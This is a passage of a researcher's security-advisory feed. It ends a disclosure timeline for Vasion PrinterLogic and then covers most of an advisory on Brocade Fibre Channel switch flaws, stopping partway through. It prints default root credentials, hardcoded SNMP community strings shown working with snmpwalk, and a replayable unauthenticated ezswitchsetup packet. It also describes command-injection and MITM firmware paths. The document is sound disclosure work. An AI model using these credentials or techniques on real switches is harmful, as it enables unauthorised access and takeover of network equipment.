<li>Feb 2022: Security assessment performed on the PrinterLogic Va/SaaS version (a total of 15 working days were allocated for this security assessment).</li>
<li>Feb 17, 2022: Security assessment sent to Vasion.</li>
<li>Feb 18, 2022: Vasion acknowledged the reception of the security assessment.</li>
<li>Feb 28, 2022: Follow-up email sent to Vasion.</li>
<li>Feb 28, 2022: Vasion confirmed they would analyze the report.</li>
<li>Mar 3, 2022: Tested the latest macOS client (21.1.1.556) and confirmed that 2 vulnerabilities were still present. Reached Vasion with my findings.</li>
<li>Mar 3, 2022: Vasion acknowledged the reception of the updated analysis.</li>
<li>Mar 8, 2022: Vasion confirmed the 2 vulnerabilities were by-design.</li>
<li>May 9, 2022: Follow-up email sent to Vasion.</li>
<li>May 9, 2022: Vasion confirmed they were working on the security patches.</li>
<li>Jun 6, 2022: Tested the latest macOS client (25.1.0.574) and found bypasses in patched security vulnerabilities (LPE).</li>
<li>Jun 16, 2022: Follow-up email sent to Vasion.</li>
<li>Jun 17, 2022: Vasion confirmed that security patches for the MacOS clients were ongoing.</li>
<li>Sep 8, 2022: Vasion confirmed they were working on the security patches.</li>
<li>Oct 9, 2022: Asked Vasion to provide the current patch progress.</li>
<li>Oct 15, 2022: Vasion confirmed that security patches for the Windows client were already deployed and that the Va/SaaS vulnerabilities would be worked on.</li>
<li>Nov 9, 2022: Vasion provided additional information regarding security patches.</li>
<li>Dec 6, 2022: Follow-up email sent to Vasion.</li>
</ul>
<p>2023:</p>
<ul>
<li>Jan 10, 2023: Follow-up email sent to Vasion.</li>
<li>Jan 11, 2023: Vasion asked to sign a NDA for the VA/SaaS version.</li>
<li>Jan 13, 2023: Confirmed to Vasion that previous bypasses in patched security vulnerabilities in the MacOS client still worked.</li>
<li>Jan 14, 2023: Vasion confirmed they would check the MacOS vulnerabilities.</li>
<li>Jan 16, 2023: Vasion asked to sign a NDA for the VA/SaaS version.</li>
<li>Jan 19, 2023: Vasion confirmed that security patches for MacOS vulnerabilties were on-going.</li>
<li>Feb 1, 2023: Vasion confirmed that information regarding reported vulnerabilities in the VA/SaaS version would be provided only if a NDA is signed.</li>
<li>Feb 15, 2023: Vasion asked if the NDA was signed.</li>
<li>Mar 22, 2023: Confirmed to Vasion that a NDA could not be signed.</li>
<li>Mar 22, 2023: Vasion confirmed that they were reviewing the vulnerabilities and provided a listing of the vulnerabilities with the current progress.</li>
<li>Mar 22, 2023: Asked Vasion about the status of the vulnerabilities since 22 vulnerabilities were missing.</li>
<li>Mar 22, 2023: Vasion provided a CSV file listing the status of the vulnerabilities.</li>
<li>Mar 28, 2023: Vasion confirmed that tickets had been created for each vulnerability.</li>
<li>Apr 4, 2023: Follow-up email sent to Vasion regarding 2 missing vulnerabilities in CSV file.</li>
<li>May 10, 2023: Vasion confirmed that 1 issue was by-design and another was not exploitable.</li>
<li>May 11, 2023: Sent a remote exploit for the unexploitable vulnerability to Vasion.</li>
<li>May 11, 2023: Received an email from Vasion stating that a specific vulnerability was fixed.</li>
<li>May 11, 2023: Asked Vasion for diff files so I could check if vulnerabilities were fixed.</li>
<li>May 13, 2023: Vasion confirmed that 2 previous vulnerabilities were exploitable and were going to be fixed.</li>
<li>May 24, 2023: Vasions provided bullet lists of updated files without details.</li>
<li>Jun 1, 2023: Vasion confirmed that no diff files could be shared with customers because of Intellectual Property and asked me do to a dynamic analysis instead to verify whether the vulnerabilities were patched.</li>
<li>Jun 6, 2023: Vasion considered the previous vulnerability as fixed.</li>
<li>Jul 26, 2023: Vasion said that a specific vulnerability was still under review.</li>
<li>Oct 31, 2023: Follow-up email sent to Vasion.</li>
<li>Dec 15, 2023: Follow-up email sent to Vasion.</li>
</ul>
<p>2024:</p>
<ul>
<li>Jan 2024: Security assessment performed on the PrinterLogic Va/SaaS version (a total of 15 working days were allocated for this security assessment).</li>
<li>Jan 29, 2024: Sent a new security assessment to Vasion.</li>
<li>Jan 30, 2024: Vasion acknowledged the reception of the security assessment.</li>
<li>Feb 14, 2024: Vasion shared the analysis of the vulnerabilities reported in 2022 and 2024.</li>
<li>Feb 16, 2024: Asked Vasion on the remedation action schedule.</li>
<li>Apr 2, 2024: Asked Vasion when security patches would be available.</li>
<li>Apr 2, 2024: Vasion confirmed that 4 vulnerabilities were fixed and said that they could not provide an action schedule.</li>
<li>Sep 20, 2024: Sent an email to Vasion saying that I would publish a security advisory with all the reported vulnerabilities.</li>
<li>Sep 24, 2024: Vasion confirmed that all but 2 of the vulnerabilities reported in 2022 were fixed and that 13 vulnerabilities reported in 2024 were not yet fixed.</li>
<li>Sep 27, 2024: Follow-up email from Vasion.</li>
<li>Oct 2, 2024: Asked Vasion for a clear timeline for security patches and if they could provide security patches before the end of the year.</li>
<li>Oct 5, 2024: Vasion confirmed they could fix all the vulnerabilities before the end of the year.</li>
<li>Oct 9, 2024: Confirmed that I would publish a technical advisory in early 2025 and asked Vasion to keep me updated on the progress of the security patches.</li>
<li>Oct 10, 2024: Vasion confirmed they would regularly provide updates.</li>
<li>Oct 19, 2024: Vasion provided updates with current status.</li>
<li>Oct 21, 2024: Confirmed reception of the updates.</li>
<li>Nov 2, 2024: Vasion provided updates with current status.</li>
<li>Nov 5, 2024: Confirmed reception of the updates.</li>
<li>Nov 19, 2024: Vasion provided updates with current status.</li>
<li>Dec 17, 2024: Vasion provided updates with current status.</li>
<li>Dec 17, 2024: Confirmed reception of the updates showing that most of the vulnerabilites were fixed. Asked when security bulletins would be available.</li>
<li>Dec 17, 2024: Vasion said they would let me know when the security advisories would be published and asked me how I would like to be credited.</li>
<li>Dec 18, 2024: Asked Vasion to credit me ("Pierre Barre").</li>
<li>Dec 18, 2024: Vasion confirmed that the bulletins would be published on the week of Jan 20th.</li>
<li>Dec 21, 2024: Vasion asked me if January is fine for me.</li>
</ul>
<p>2025:</p>
<ul>
<li>Jan 2, 2025: Follow-up email from Vasion.</li>
<li>Jan 13, 2025: I confirmed that I planned to release a security advisory in February but since there were many technical details, it would take some time to work on the public security advisory. I also confirmed it would be fine for Vasion to release security bulletins on January 20th and then I would release security advisories later.</li>
<li>Jan 17, 2025: Vasion confirmed security bulletins were published.</li>
<li>Jan 20, 2025: Asked Vasion about (i) missing vulnerabilities in MacOS and Windows clients and (ii) CVEs.</li>
<li>Jan 22, 2025: Vasion sent (i) a corresponding list of security bulletins with the reported vulnerabilities, (ii) a list of vulnerabilities considered as features, and (iii) the confirmation that they submitted multiple requests to MITRE.</li>
<li>Feb 11, 2025: Replied to Vasion that I would edit the security advisory to remove some likely unexploitable vulnerabilities and issues considered as features.</li>
<li>Feb 13, 2025: Asked Vasion if they would want me to reach JPCERT to get CVEs since MITRE did not reply.</li>
<li>Feb 21, 2025: Follow-up email sent to Vasion.</li>
<li>Feb 21, 2025: Vasion confirmed it would be fine to reach JPCERT.</li>
<li>Feb 28, 2025: Reached JPCERT to get CVEs with Vasion CC-ed.</li>
<li>Mar 1, 2025: Reached Vasion regarding missing vulnerabilities in the Vasion security bulletins.</li>
<li>Mar 3, 2025: JPCERT said they would reach MITRE to understand why CVEs were not assigned.</li>
<li>Mar 3, 2025: Acknowledged the decision of JPCERT.</li>
<li>Mar 3, 2025: Vasion confirmed that all the reported vulnerabilities would have security bulletins.</li>
<li>Mar 6, 2025: Vasion provided another webpage listing additional security bulletins in Vasion Print.</li>
<li>Mar 6, 2025: JPCERT confirmed that some CVEs were assigned thanks to MITRE.</li>
<li>Mar 7, 2025: Email sent to Vasion providing CVEs and indicating that only 33 CVE IDs matched the vulnerabilities I reported.</li>
<li>Mar 10, 2025: Email sent to MITRE regarding missing CVEs.</li>
<li>Mar 12, 2025: Vasion provided a new Excel file with 7 findings needing bulletins, 3 unresolved findings and 12 disputed findings. The 12 disputed findings had corresponding explanations.</li>
<li>Mar 12, 2025: I provided my analysis to Vasion on the disputed findings, where I agreed on 3 issues being no security vulnerabilities and I disagreed on 9 issues incorrectly being considered as "features requests".</li>
<li>Mar 14, 2025: Follow-up email sent to MITRE.</li>
<li>Mar 18, 2025: Vasion provided the final analysis on the disputed findings.</li>
<li>Apr 8, 2025: A security advisory is published.</li>
<li>Sep and Oct 2025: Vulncheck assigns missing CVEs.</li>
<li>Nov 11, 2025: An updated security advisory is published.</li>
</ul>
<h2>Credits</h2>
<p>These vulnerabilities were found by Pierre Barre aka Pierre Kim (<a href="https://twitter.com/PierreKimSec">@PierreKimSec</a>).</p>
<h2>References</h2>
<p><a href="https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html">https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html</a></p>
<p><a href="https://pierrekim.github.io/advisories/2025-vasion-printerlogic.txt">https://pierrekim.github.io/advisories/2025-vasion-printerlogic.txt</a></p>
<p><a href="https://help.printerlogic.com/va/Print/Security/Security-Bulletins.htm">https://help.printerlogic.com/va/Print/Security/Security-Bulletins.htm</a></p>
<p><a href="https://help.printerlogic.com/saas/Print/Security/Security-Bulletins.htm">https://help.printerlogic.com/saas/Print/Security/Security-Bulletins.htm</a></p>
<h2>Disclaimer</h2>
<p>This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">http://creativecommons.org/licenses/by-nc-sa/3.0/</a></p>
<p>The source code snippets in this security advisory are the intellectual property of Vasion and
used to explain the root causes of the vulnerabilities.</p></content>
    </entry>
    
    <entry>
        <title>10 vulnerabilities in Brocade Fibre Channel switches</title>
        <link href="2025-03-31-brocade-switches-10-vulnerabilities.html"/>
        <content type="html"><h2>Product description</h2>
<blockquote>
<p>Brocade Fibre Channel switches deliver industry-leading performance that shatters bottlenecks and simplifies scale-out network architectures.</p>
<p>From <a href="https://www.broadcom.com/products/fibre-channel-networking/switches">https://www.broadcom.com/products/fibre-channel-networking/switches</a></p>
</blockquote>
<h2>Vulnerabilities Summary</h2>
<p>Vulnerable versions: Brocade Fabric OS &lt; 9.2.2. Note: several vulnerabilities have not been patched since they were found in EOL and unsupported versions of Brocade Fabric OS (as of March 2024).</p>
<p>The summary of the vulnerabilities is:</p>
<ol>
<li><a href="#default-weak-creds">CVE-2021-27797 - Default and weak credentials</a><br></li>
<li><a href="#leak-of-logs">non-assigned CVE vulnerability - Leak of logs</a><br></li>
<li><a href="#incorrect-permissions">non-assigned CVE vulnerability - Incorrect permissions</a><br></li>
<li><a href="#insecure-telnet-code">non-assigned CVE vulnerability - Insecure telnet code</a><br></li>
<li><a href="#ezswitchsetup">CVE-2022-33186 - Pre-auth RCE - Custom insecure management protocol with "ezswitchsetup"</a><br></li>
<li><a href="#insecure-snmp">CVE-2024-5460 - Pre-auth RCE - Insecure SNMP access, leak of SNMP communities to low-privileged users and MITM RCE</a><br></li>
<li><a href="#insecure-code">CVE-2024-5461 - Insecure Code</a><br>
7.1. <a href="#insecure-code-http">CVE-2023-3454, CVE-2024-7516 - HTTP server (MITM RCEs, command injections) - 0.webliker.fcg</a><br>
7.2. <a href="#insecure-code-sectelnet">SecTELNET server (hardcoded keys, use of ECB)</a><br>
7.3. <a href="#insecure-code-opinions">Opinions</a><br></li>
<li><a href="#insecure-code-in-shell-scripts">non-assigned CVE vulnerability - Insecure code in shell scripts</a><br></li>
<li><a href="#management-http">non-assigned CVE vulnerability - Lack of encryption for management protocol (HTTP)</a><br></li>
<li><a href="#remote-exec-of-jar-files">non-assigned CVE vulnerability - Remote execution of JAR files over HTTP and HTTPS</a><br></li>
</ol>
<p><em>Miscellaneous notes</em>:</p>
<p>The Report was provided in September 2022 to the Brocade support through Dell but it was rejected by Brocade because it didn't address the latest version of FOS (Fabric Operating System) while some of the tested versions were still supported (8.2.3a, 9.0.1b4 and 9.0.1c).</p>
<p>Status of the tested versions in September 2022 (from the <a href="https://docs.broadcom.com/doc/Brocade-SW-Support-RM">official documentation</a>):</p>
<ul>
<li>8.2.3a (<strong><a href="images/2025-brocade-switches-support-02.png">supported in September 2022</a></strong> - screenshot showing this supported version provided in the report),</li>
<li>9.0.1b4 (<strong><a href="images/2025-brocade-switches-support-01.png">supported in September 2022</a></strong> - screenshot showing this supported version provided in the report),</li>
<li>9.0.1c (<strong><a href="images/2025-brocade-switches-support-01.png">supported in September 2022</a></strong> - screenshot showing this supported version provided in the report),</li>
<li>6.2.2f (EOL and unsupported in September 2022),</li>
<li>7.4.2c (EOL and unsupported in September 2022),</li>
<li>8.2.1c (EOL and unsupported in September 2022),</li>
<li>8.1.2d (EOL and unsupported in September 2022),</li>
<li>v8.2.0_gft (EOL and unsupported in September 2022).</li>
</ul>
<p>While the Report contains 0-day vulnerabilities in EOL versions of FOS (6.2.2, 7.4.2, 8.1.2, 8.2.0 and 8.2.1), <strong>it also contains 0-day vulnerabilities in supported versions of Brocade FOS</strong> (8.2.3a, 9.0.1b4 and 9.0.1c) at the time the Report was shared with Dell and Brocade.</p>
<p>However, this entire security assessment was rejected by Brocade (refer to the <a href="#timeline">Timeline</a> for more information).</p>
<p>Two months after the Report was rejected, one of the reported vulnerability, <a href="#ezswitchsetup">Pre-auth RCE - Custom insecure management protocol with "ezswitchsetup"</a>, was internally found by Brocade and patched in November 2022: <a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/21217">CVE-2022-33186</a> (CVSS: 9.4, Critical, credited to Brocade). I was finally credited for this vulnerability in April 2024.</p>
<p>The Report was shared again with Brocade (through the Brocade PSIRT) in January 2024 following a <a href="https://pierrekim.github.io/blog/2024-04-24-brocade-sannav-18-vulnerabilities.html">coordinated disclosure of SANnav vulnerabilities</a>, which was also initially rejected by Brocade. Brocade confirmed the vulnerabilities and asked to delay any disclosure until October 2024 to prepare security patches. Subsequentely Brocade released a security bulletin in November 2024 - 27 months after a full security assessment had been initially shared with Brocade and 10 months after it had been shared with Brocade PSIRT.</p>
<p>4 reported vulnerabilities were confirmed to be Remote Code Executions: <a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/21217">CVE-2022-33186</a>, <a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23215">CVE-2023-3454</a>, <a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/24411">CVE-2024-5461</a> and <a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/25177">CVE-2024-7516</a>. Some vulnerabilities found in EOL and unsupported releases also did not receive a CVE identifier.</p>
<p>Unfortunately, because the Fibre Channel switches were used in production, the following analysis had to be extremely superficial and no dynamic analysis was performed. However, there are likely many more exploitable vulnerabilities. I did not have access to a test device and was not allowed to exploit any vulnerability since it could disrupt the production network.</p>
<p><em>Impacts</em></p>
<p>An attacker can compromise Brocade switches. These switches are running Linux and are powerful. They are ideal to host implants.</p>
<p>The vendor provided an evaluation of the vulnerabilities 21 months after reporting them:</p>
<blockquote>
<p>Already patched:</p>
<ul>
<li>Default credentials - CVE-2021-27797</li>
<li>Custom insecure management protocol with "ezwitchsetup" - CVE-2022-33186</li>
<li>Insecure code - 0.webliker.fcg - CVE-2023-3454</li>
</ul>
<p>Vulnerabilities that will be patched and CVEs will be assigned:</p>
<ul>
<li>Insecure SNMP access and lack of encryption for management protocol (SNMP) - SNMPv1 usage and default community strings</li>
<li>Weblinker and other critical backend processes (which make use of system() calls) still run as root user</li>
<li>Insecure code - Scp operations on the switch do not enforce strict host key checking</li>
</ul>
<p>Vulnerabilities affecting unsupported versions of FOS - no patches will be provided:</p>
<ul>
<li>Leak of logs</li>
<li>Incorrect permissions</li>
<li>Insecure code Issue with ""bc_systemFileCmd_set ()""</li>
<li>Insecure code - sectelnet with ECB</li>
<li>insecure code - sectelnet with hardcoded key</li>
<li>Lack of encryption for management protocol (HTTP) - use of JAR over HTTP</li>
<li>Insecure telnet code</li>
<li>Insecure code in shell scripts</li>
</ul>
<p>Not a vulnerability:</p>
<ul>
<li>Inconsistency in firewall rules [N.B. Pierre - removed from this security advisory]</li>
<li>Lack of encryption for management protocol (HTTP) - use of HTTP is not a vulnerability</li>
</ul>
</blockquote>
<p><em>Recommendations</em></p>
<ul>
<li>Do not use unsupported versions of Fabric OS;</li>
<li>Do not expose Fibre Channel switches to the network;</li>
<li>Use network segmentation if the management interface must be exposed;</li>
<li>Reduce the attack surface by disabling TELNET, SNMP, HTTP, HTTPS and ezswitchsetup access;</li>
<li>Use only SSH access with MFA and update iptables firewall rules using root access only to allow specific IPs to reach SSH.</li>
</ul>
<p><a id="default-weak-creds"></a></p>
<h2>Details - Default and weak credentials</h2>
<p>It was observed that the Brocade switches use default and weak credentials by default. It is recommended to update them:</p>
<ul>
<li><code>root</code>/<code>fibranne</code></li>
</ul>
<p>The credentials <code>root</code>/<code>fibranne</code> are well-known and, if not changed by admins, can be used to remotely compromise the devices using the telnet, the SSH or the web interfaces, as shown below.</p>
<p><a href="https://www.elasticsky.de/en/2018/02/change-brocade-fos-default-passwords/">https://www.elasticsky.de/en/2018/02/change-brocade-fos-default-passwords/</a>:</p>
<p><img alt="" src="images/2024-sannav-root-fibranne.png" /></p>
<p>An attacker can get root access to the devices using known credentials.</p>
<p>An attacker can upload malicious firmware images and install them: the device will stay compromised forever.</p>
<p>An attacker can change the IP address of any switch to the IP address of the local gateway and DoS the entire network segment, impacting several critical services.</p>
<p><a id="leak-of-logs"></a></p>
<h2>Details - Leak of logs</h2>
<p>It was observed that the version v6.2.2f is vulnerable to an authentication bypass. This allows an attacker to retrieve the logs over HTTP without authentication by visiting the <code>/events.html</code> webpage:</p>
<p><img alt="" src="images/2025-brocade-switches-logs-leak.png" /></p>
<p>Only the version v6.2.2f is vulnerable to an authentication bypass. The other firmware versions are not vulnerable to this authentication bypass.</p>
<p>This vulnerability was likely silently patched by the vendor.</p>
<p><a id="incorrect-permissions"></a></p>
<h2>Details - Incorrect permissions</h2>
<p>It was observed that the version v6.2.2f uses incorrect permissions for <code>/etc/hosts</code> - any user can edit this file:</p>
<pre><code>kali% cat test-rw-hosts.sh 
#!/bin/sh

echo 6.2.2f
sshpass -p "advisory" ssh -l root -o KexAlgorithms=diffie-hellman-group1-sha1 10.14.1.1 ls -la /etc/hosts

echo 7.4.2c
sshpass -p "advisory" ssh -l root 10.14.1.2 ls -la /etc/hosts

echo 8.2.1c
sshpass -p "advisory" ssh -l root 10.14.1.3 ls -la /etc/hosts

echo 8.1.2d
sshpass -p "advisory" ssh -l root 10.14.1.4 ls -la /etc/hosts

echo 9.0.1b4
sshpass -p "advisory" ssh -l root 10.14.1.5 ls -la /etc/hosts
kali% ./test-rw-hosts.sh 
6.2.2f
-rw-rw-rw-   1 root     root         6101 Dec 26  2019 /etc/hosts
7.4.2c
-rw-r--r--   1 root     sys          4344 Jan  2  2020 /etc/hosts
8.2.1c
-rw-r--r--   1 root     sys          4415 Oct 18  2019 /etc/hosts
8.1.2d
-rw-r--r--   1 root     sys          4288 Dec 27  2019 /etc/hosts
9.0.1b4
-rw-r--r--   1 root     root         5861 Oct 23  2021 /etc/hosts
kali%
</code></pre>
<p>This allows a local attacker to edit the <code>/etc/hosts</code> file in the 6.2.2f firmware version, for example to define a specific HOST entry for a radius server. This can be used for Local Privilege Escalation.</p>
<p>Other firmware versions are not vulnerable.</p>
<p>Other files have been found to be word-readable:</p>
<p>The file <code>/etc/fabos/fabos.0.conf</code> contains the entire configuration of the switch, including clear-text passwords. It was observed that this file is world-readable in the 6.2.2f and 7.4.2c versions.</p>
<p>Interestingly, this incorrect permission was patched in 8.x and 9.x versions:</p>
<pre><code>kali% sh incorrect.permissions.txt.sh 
6.2.2f
-rw-r--r--   1 root     sys         16339 Aug 21 11:33 /etc/fabos/fabos.0.conf

7.4.2c
-rw-r--r--   1 root     sys         29941 Aug 21 11:35 /etc/fabos/fabos.0.conf

8.2.1c
-rw-------   1 root     sys         32116 Aug 21 19:35 /etc/fabos/fabos.0.conf

8.1.2d
-rw-------   1 root     sys         41128 Aug 21 11:35 /etc/fabos/fabos.0.conf

9.0.1
-rw-------   1 root     sys        138577 Aug 20 18:22 /etc/fabos/fabos.0.conf
kali%
</code></pre>
<p>The <code>/etc/fabos/user.db</code> - a sqlite3 database file - also contains information regarding the local users.</p>
<p>It was observed that this file is incorrectly protected in the 6.2.2f version:</p>
<pre><code>-rw-r--r--   1 root     nobody      14336 Dec 26  2019 /etc/fabos/user.db
</code></pre>
<p><a id="insecure-telnet-code"></a></p>
<h2>Details - Insecure telnet code</h2>
<p>It was observed that the telnetd server in all the firmware versions is a fork of netkit-telnet with custom codes.
The code uses insecure calls to <code>system()</code> and <code>popen()</code>:</p>
<p><code>sub_100043D0()</code> inside the <code>/usr/libexec/telnetd</code> binary:</p>
<p><img alt="" src="images/2025-brocade-switches-telnetd-sub_100043D0.png" /></p>
<p>Furthermore, sensitive information is written into the logs.
When the debug is enabled, it will log the encrypted communication into a log file:</p>
<p><img alt="" src="images/2025-brocade-switches-telnetd-sub_100043D0-log.png" /></p>
<p>In the calls to <code>output_data()</code>, the communication will be automatically saved in a log file.</p>
<p><img alt="" src="images/2025-brocade-switches-telnetd-sub_100043D0-log-2-not-debug.png" /></p>
<p><a id="ezswitchsetup"></a></p>
<h2>Details - Pre-auth RCE - Custom insecure management protocol with "ezswitchsetup"</h2>
<p>The switches can be configured using the ezswitchsetup program, which is a custom and proprietary program from Brocade. This client is available at <a href="https://archive.org/download/BrocadeEZSwitchSetupV7.1.0">https://archive.org/download/BrocadeEZSwitchSetupV7.1.0</a>. [Note - Unfortunately, although this link was active since 2014, it was removed after Brocade rejected the Report in 2022. It is unclear whether the removal is related to the Report.]</p>
<p>This program will interact with the switches on the port 52357/udp.</p>
<p>On port <code>52357/udp</code> on the switch runs a program <code>superd</code> as root that will execute a lot of insecure commands to configure the switches:</p>
<pre><code>udp        0      0 0.0.0.0:52357           0.0.0.0:*          0          4023  1569/superd
</code></pre>
<p>Interestingly, it appears this program is supposed to work only on the same subnet (Layer 2) as shown below but it is possible to replay the packets by changing the broadcast IP to the IP of the targeted switch.</p>
<p><img alt="" src="images/2025-brocade-switches-ezswitchsetup.png" /></p>
<p>On a LAN, it was possible to capture a packet, modify it and send it to a remote: the switch successfully replied. These packets are in clear-text.</p>
<p>There is also no authentication mechanism:</p>
<pre><code>kali% cat new-packet-2.txt
kali% printf "$(&lt; new-packet-2.txt)"
[REDACTED-BINARY-CONTENT]
&lt;?xml version="1.0"?&gt;
&lt;Request xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="calobject.xsd"  opcode="GetInstance" objectCount="1"&gt;
   &lt;Class name="Brocade_Switch" majorVersion="1" minorVersion="0" propertyCount="8" &gt;
      &lt;Property name="Name" type="string" encoding="No Encoding" &gt;
         &lt;Value&gt;10:00:[REDACTED]&lt;/Value&gt;
      &lt;/Property&gt;
      &lt;Property name="Model" type="string" encoding="No Encoding" &gt;
         &lt;Value&gt;&lt;/Value&gt;
      &lt;/Property&gt;
      &lt;Property name="DHCP" type="boolean" encoding="No Encoding" &gt;
         &lt;Value&gt;0&lt;/Value&gt;
      &lt;/Property&gt;
      &lt;Property name="FirmwareVersion" type="string" encoding="No Encoding" &gt;
         &lt;Value&gt;&lt;/Value&gt;
      &lt;/Property&gt;
      &lt;Property name="OutBandMask" type="string_array" encoding="No Encoding" &gt;
         &lt;Value&gt;&lt;/Value&gt;
      &lt;/Property&gt;
      &lt;Property name="OutBandIPAddressList" type="string_array" encoding="No Encoding" &gt;
         &lt;Value&gt;&lt;/Value&gt;
      &lt;/Property&gt;
      &lt;Property name="Gateway" type="string" encoding="No Encoding" &gt;
         &lt;Value&gt;&lt;/Value&gt;
      &lt;/Property&gt;
      &lt;Property name="CreationClassName" type="string" encoding="No Encoding" &gt;
         &lt;Value&gt;Brocade_Switch&lt;/Value&gt;
      &lt;/Property&gt;
   &lt;/Class&gt;
&lt;/Request&gt;
kali%
</code></pre>
<p>This program allows to change the IP of a switch and to edit its configuration depending on the Switch World Wide Name (WWN), an entirely guessable number:</p>
<p><img alt="" src="images/2025-brocade-switches-ezswitchsetup2.png" /></p>
<p>Datagrams sent by EZSwitchSetup:</p>
<p><img alt="" src="images/2025-brocade-switches-ezswitchsetup-tcpdump-01.png" /></p>
<p><img alt="" src="images/2025-brocade-switches-ezswitchsetup-tcpdump-02.png" /></p>
<p>When replaying the same packet and changing the broadcast IP to the IP of the targeted switch, the switch will reply:</p>
<p><img alt="" src="images/2025-brocade-switches-ezswitchsetup-tcpdump-03.png" /></p>
<p>When analyzing the <code>superd</code> program, it appears it is poorly written and there is no authentication. It uses a lot of calls to <code>system()</code> and it is possible to change the passwords using this execution flow:</p>
<pre><code>main -&gt; sub_103FBFDC -&gt; hasm_main_loop -&gt; sub_1040649C -&gt; hasm_update_password()
</code></pre>
<p><code>hasm_update_password</code> function executing <code>/fabos/libexec/userdb_sync</code>:</p>
<p><img alt="" src="images/2025-brocade-switches-ezswitchsetup-hasm_update_password.png" /></p>
<p>It is possible to list the 145 calls to the insecure function system():</p>
<p><img alt="" src="images/2025-brocade-switches-ezswitchsetup-systems.png" /></p>
<p>As these switches were used in production, no exploitation bas heen carried out.</p>
<p>From static analysis, an attacker can take control of switches without authentication.</p>
<p>Note: this rejected vulnerability was later found by Brocade in November 2022 and I was finally credited 18 months later: <a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/21217">CVE-2022-33186</a> (CVSS: 9.4 - CRITICAL).</p>
<p><a id="insecure-snmp"></a></p>
<h2>Details - Pre-auth RCE - Insecure SNMP access, leak of SNMP communities to low-privileged users and MITM RCE</h2>
<p>The switches can be managed using SNMP.</p>
<p>When doing reverse engineering against the snmpd binary, several read-only and read-write access were found. In the function <code>sub_100570F0()</code>, there is an array of valid SNMP communities:</p>
<p><img alt="" src="images/2025-brocade-switches-snmpd-sub_100570F0_snmp.png" /></p>
<p>At the offset <code>101CB670</code> in .data, we can extract these communities:</p>
<p><img alt="" src="images/2025-brocade-switches-snmpd-offset_101CB670.data.png" /></p>
<p>These communities work on all switches if these credentials have not been updated:</p>
<pre><code>kali% snmpwalk -v 1 -c 'Secret C0de' 10.14.1.5
iso.3.6.1.2.1.1.1.0 = STRING: "Access Gateway."
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.1588.2.1.3
iso.3.6.1.2.1.1.3.0 = Timeticks: (3784429504) 438 days, 0:18:15.04
iso.3.6.1.2.1.1.4.0 = STRING: "Admin team"
iso.3.6.1.2.1.1.5.0 = STRING: "SWITCH"
iso.3.6.1.2.1.1.6.0 = STRING: "LOCATION"
iso.3.6.1.2.1.1.7.0 = INTEGER: 79
iso.3.6.1.2.1.2.1.0 = INTEGER: 30

kali% snmpwalk -v 1 -c 'OrigEquipMfr' 10.14.1.5
iso.3.6.1.2.1.1.1.0 = STRING: "Access Gateway."
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.1588.2.1.3
iso.3.6.1.2.1.1.3.0 = Timeticks: (3784431004) 438 days, 0:18:30.04
iso.3.6.1.2.1.1.4.0 = STRING: "Admin team"
iso.3.6.1.2.1.1.5.0 = STRING: "SWITCH"
iso.3.6.1.2.1.1.6.0 = STRING: "LOCATION"
iso.3.6.1.2.1.1.7.0 = INTEGER: 79
iso.3.6.1.2.1.2.1.0 = INTEGER: 30
</code></pre>
<p>When reading the documentation, it appears these SNMP communities are well-documented: <a href="https://techdocs.broadcom.com/us/en/fibre-channel-networking/fabric-os/fabric-os-web-tools/9-1-x/v26882500/v26815803/v26850344.html">https://techdocs.broadcom.com/us/en/fibre-channel-networking/fabric-os/fabric-os-web-tools/9-1-x/v26882500/v26815803/v26850344.html</a>:</p>
<p><img alt="" src="images/2025-brocade-switches-snmpd-default-communities.png" /></p>
<p>It is also possible to extract the SNMP communities from a low-privilege user, as shown below, in switches still providing the Brocade JAVA client, the SNMP communities will be communicated in clear text over HTTP:</p>
<p><img alt="" src="images/2025-brocade-switches-snmpd-web-interface.png" /></p>
<p>Furthermore, the snmpd binary runs as root. And the code contains several executions of commands as root. For example, the function <code>bc_systemFileCmd_set()</code> managing the download of firmware images:</p>
<p><img alt="" src="images/2025-brocade-switches-snmpd-bc_systemFileCmd_set-cmd_injections.png" /></p>
<p>On a side note, we can also see that the SSH keys are not verified when using scp/sftp, allowing an attacker to MITM and intercept credentials over the network and inject a malicious firmware image during the update process to get a Remote Code Execution/downgrade of a vulnerable firmware version.</p>
<p>There are also potential command injections everywhere.</p>
<p><a id="insecure-code"></a></p>
<h2>Details - Insecure Code</h2>
<p>The quality of the code present in the switch is quite interesting.</p>
<p>When doing reverse engineering on the <code>snmpd</code> binary in the 9.0.1b4 version, a lot of commands are executed using <code>system()</code> in the function <code>sub_10085C64()</code>:</p>
<p><img alt="" src="images/2025-brocade-switches-quality-01.png" /></p>
<p>The <code>/etc/rc.d/init.d/system.sh</code> script is vulnerable to command injection or argument injection with scp and sftp in <a href="#insecure-code-in-shell-scripts">Insecure code in shell scripts</a>.</p>
<p><img alt="" src="images/2025-brocade-switches-snmp-system.png" /></p>
<p>When reading scripts shells, we can also confirm security is regularly dismissed (<a href="#insecure-code-in-shell-scripts">Insecure code in shell scripts</a>).</p>
<p><a id="insecure-code-http"></a></p>
<h3>HTTP server (MITM RCEs, command injections) - 0.webliker.fcg</h3>
<p>We can see insecure executions of scp/sftp in the <code>0.webliker.fcg</code> program (a custom HTTP server), running as root and reachable by an authenticated web user:</p>
<pre><code>SWITCH:FID1:root&gt; ps auxw | grep link
root      3078  0.5  0.2 139656 41280 ?        Sl    2021 2313:08 /fabos/webtools/htdocs/0.weblinker.fcg
root      3358  0.0  0.0   2272   396 pts/0    S+   11:44   0:00 grep link
SWITCH:FID1:root&gt; exit
